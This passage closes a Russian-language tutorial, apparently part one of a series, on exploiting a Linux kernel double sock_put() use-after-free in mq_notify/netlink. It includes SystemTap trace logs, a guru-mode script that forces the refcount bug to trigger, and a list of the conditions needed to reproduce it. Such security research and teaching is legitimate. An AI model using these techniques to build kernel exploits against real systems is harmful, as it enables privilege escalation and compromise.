netlink_detachskb (sk=0xffff88002d72d800 skb=0xffff88003d20cd00)
(3391-3391) [netlink] <<==
netlink_detachskb
-={ dump_netlink_sock:
0xffff88002d72d800 }=-
— sk = 0xffff88002d72d800
— sk->sk_rmem_alloc = 0
— sk->sk_rcvbuf = 133120
— sk->sk_refcnt = 0 //
<————-
— (before) nlk->state = 1
— (after) nlk->state = 1
— sk->sk_flags = 101
— SOCK_DEAD = 0
— sk->sk_flags = 101
-={ dump_netlink_sock: END}=-
(3391-3391) [SYSCALL] <<== mq_notify= -9
Как видно по логам выше, счетчик ссылок sk‑>sk_refcnt
был уменьшен дважды, и нам удалось активировать уязвимость.
Поскольку счетчик ссылок структуры sock стал равен 0, структура netlink_sock освободится. Обновляем
скрипт для сбора параметров.
…
cut …
(13560-13560)
[netlink] <<== netlink_attachskb = 1
(13560-13560)
[vfs] ==>> fget (fd=0x3)
(13560-13560) [vfs] <<== fget = 0
(13560-13560) [netlink] ==>>
netlink_detachskb (sk=0xffff88002d7e5c00 skb=0xffff88003d2c1440)
(13560-13560) [kmem] ==>> kfree
(objp=0xffff880033fd0000)
(13560-13560) [kmem] <<== kfree =
(13560-13560) [sk] ==>> sk_free
(sk=0xffff88002d7e5c00)
(13560-13560) [sk] ==>> __sk_free
(sk=0xffff88002d7e5c00)
(13560-13560) [kmem] ==>> kfree
(objp=0xffff88002d7e5c00) // <—- freeing «sock»
(13560-13560) [kmem] <<== kfree =
(13560-13560) [sk] <<== __sk_free
=
(13560-13560) [sk] <<== sk_free =
(13560-13560) [netlink] <<== netlink_detachskb
Как видно по логам, объект sock освободился, но не возникла ошибка use‑after‑free.
Почему не
возник крах?
Был отработан сценарий, отличающийся от первоначального плана, и
объект netlink_sock был освобожден функцией netlink_detachskb(). Причина в том,
что не была вызвана функция close()
(мы только обнулили один из элементов таблицы FDT). Таким образом, файловый объект не освободился, и не
уничтожилась ссылка на объект netlink_sock. Другими словами, мы пропустили
уменьшение счетчика ссылок.
Однако ничего страшного не случилось. Мы хотели проверить, что
счетчик ссылок был уменьшен дважды (один раз функцией netlink_attachskb(),
второй раз функцией netlink_detachskb()), что и произошло.
Во время стандартного сценария (то есть когда мы вызываем close()) дополнительное уменьшение счетчика
возникнет, и в функции netlink_detachskb() возникнет ошибка use‑after‑free.
Просто мы «отложили» появление use‑after‑free,
чтобы сохранить контроль над ситуацией (подробнее во второй части).
Финальный
скрипт
Полноценный скрипт, который активирует уязвимость в ядре, можно
упростить так:
# mq_notify_force_crash.stp
#
# Run it with «stap -v -g
./mq_notify_force_crash.stp» (guru mode)
%{
#include <net/sock.h>
#include <net/netlink_sock.h>
#include <linux/fdtable.h>
%}
function force_trigger:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
sk->sk_flags |= (1 << SOCK_DEAD); // avoid blocking the thread
struct
netlink_sock *nlk =
(void*) sk;
nlk->state |= 1; // enter the netlink_attachskb() retry path
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
%}
probe kernel.function («netlink_attachskb»)
{
if (execname() == «exploit»)
{
force_trigger($sk);
}
}
Достаточно просто, не так ли?
Заключение
В первой части мы познакомились с основными структурами данных
ядра, а также механизмом обработки счетчика ссылок. Во время изучения
общедоступной информации (CVE и
комментарии к патчу) мы смогли еще лучше понять механику уязвимости, и наметили
сценарий атаки.
Затем мы начали разработку эксплоита и проверили, что брешь
действительно воспроизводится от имени непривилегированного пользователя. В
процессе проверки мы познакомились с очень полезной утилитой System Tap. Во
время разработки мы обнаружили подводный камень, связанный с оберткой
библиотеки.
С помощью продвинутого режиме в System Tap мы
форсировали активацию уязвимости в ядре и убедились, что можем стабильно
воспроизводить брешь
double sock_put(). Для воспроизведения проблемы должны выполниться три условия:
Функция netlink_attachskb() должна вернуть 1.
Поток эксплоита должен быть разблокирован.
Второй вызов функции fget() должен вернуть NULL.
В следующей статье будет разработан концептуальный код, куда будут
перенесены все модификации ядра, которые мы делали при помощи скрипта в System Tap. В итоге уязвимость будет воспроизведена исключительно при помощи
кода из пространства пользователя.
Надеемся, вам понравилось это путешествие. Увидимся во второй
части.
Источник: